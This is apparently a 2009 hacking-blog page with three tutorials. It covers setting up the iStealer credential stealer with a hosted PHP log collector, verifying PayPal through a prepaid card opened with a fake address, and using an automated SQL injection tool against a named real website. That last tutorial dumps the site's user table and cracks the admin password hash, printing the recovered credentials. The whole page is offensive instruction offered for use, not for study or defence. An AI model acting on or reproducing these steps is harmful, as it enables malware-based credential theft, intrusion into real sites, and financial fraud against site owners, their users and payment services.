iStealer 5.0 & Tutorial

Posted at Tuesday, September 01, 2009

iStealer v6.0 is coming soon. You will probably be impressed.

Step 1:
Register at http://www.blackapplehost.com/register.jsp

Step 2:
Go to UserCP.
Click "Create/delete MySQL database"

Name the database what you want, it will include your username.
In this example my username will be "example".
I have named my database "example_db"
Press "Create Database"

Now for the user, I have named mine "example_user"
Password can be anything, mine will be "passw0rd"
Press "Create User"

For Assign Priviledges, make sure the user and database are selected on the list.
When all boxes are ticked, press "Assign Priviledges"

Step 3:
Download iStealer v5.0 (MOD)

Code:
http://rapidshare.com/files/270047855/iStealer5.1.rar

Step 4:
Open \iStealer5.1\PHP Logger\index.php and edit the configuration information.
All of the information is commented at the side, it's clear what it is. Leave localhost.

Step 5:
At BAH, go to "File manager" in the User CP and upload index.php & style.css
After this, your iStealer is set up, http://username.blackapplehost.com/index.php
Log in there to view your logs. Simple enough.

Step 6:
Open iStealer 5.0.1 and fill in all of the necessary information.
The "Url" will be http://username.blackapplehost.com/index.php

[Image: 2lm2w4p.jpg]

Complete!

Try this picture for guidance if you are having problems:

How to Verify Your Own PayPal without A Credit Card!! for USA Only

Posted at Tuesday, September 01, 2009

How to Verify Your Own PayPal without A Credit Card!! for USA Only !!

1. Make sure you have a PayPal account made. If you don't, go to www.paypal.com

2. Now go to Netspend and click the big green "Open Account" button.

3. Fill out the info, for the address put in anything, could be your real one doesn't matter. They will send a card to that address most people will throw it out as junk mail if its a fake address.

4. Log in to your PayPal account. Hit the "Get verified" link (image provided)

[Image: paypaloha.jpg]

5. When the new page comes up, hit "Add Bank Account".

6. Log into your Netspend account. Go to "Add/Manage Money", then "PayPal Transfers".

7. Copy and paste the necessary info from the Netspend account to the PayPal Verification fields. THEN FOLLOW THE INSTRUCTIONS ON THE PAYPAL SITE AFTER YOU ADDED YOUR BANK ACCOUNT. Wait 3-5 days for the deposit.

8. Enjoy Spending!!

How to Hack Websites Using Auto SQL I Helper V.2.7 + with images

Posted at Tuesday, September 01, 2009

How to Hack Websites Using Auto SQL I Helper V.2.7 + with images



I have been asked lately to write a tutorial on how to use "SQL I Helper V.2.7" tool.

At the begining "SQLIHelperV.2.7" is a tool that will hack vulnerable websites using SQL injection. You don't have to spend hours and hours trying to find your way in a website and trying hundreds of combinations and codes to hack a website.
This tool will do it all by itself. You only have to tell her what do and where to look.

Click here to Download

Lets start.
first you need to find the potential website that you think it might be possible to hack it. Remember that some websites are simply unhackable.

Use Exploit Scanner to find the vulnerable websites.
Download

and use this Dorks List to use it in the search
Download


After you find your website ( better to end with "article.php?id=[number]" ) example: "http://encycl.anthropology.ru/article.php?id=1"

I will explain my tut on how to hack this website.

Check if your website can be hacked by trying to go this address :
http://encycl.anthropology.ru/article.php?id='1 <------ notice the ' before the number 1.

you should get this message:
Code:
Query failedYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'1 ORDER BY lastname' at line 1 SELECT * FROM person_old WHERE id=\'1 ORDER BY lastname

This mean that this website can be hacked because you get an error.

Now open your SQL I Helper V.2.7
and write the link :
http://encycl.anthropology.ru/article.php?id=1 <---- without the '
here
[Image: 2n8wtow.jpg]

and press the inject button.

Now you should wait until the tool finish searching for columns . Time may vary depending on your connection speed , your pc speed , and the number of columns in the website.
So now you should have this:
[Image: 15xvl2v.jpg]

then select "Get database" and you get this:
[Image: znq9tz.jpg]

Now select any element from the "database name" box and press the "Get tables" button , I will select "anthropo_encycl":
[Image: 668zs6.jpg]


then select any element from the "table name" box and press the "Get columns" button , I will select "user":
[Image: 24e3vyo.jpg]

then select any elements you want from the "columns name" box and press "Dump Now" , i will select "usr_login" and "usr_pass"
[Image: 2vb4ndj.jpg]

After clicking "Dump Now" , you should see this new window
[Image: fxwj2p.jpg]

Now copy the hash on a peace of paper and go to this website:
http://www.md5crack.com/

enter the hash and press the button "Crack that hash baby!" and you should get the source of the hash.
hash:21232f297a57a5a743894a0e4a801fc3
username: admin

hash:202cb962ac59075b964b07152d234b70
pass: 123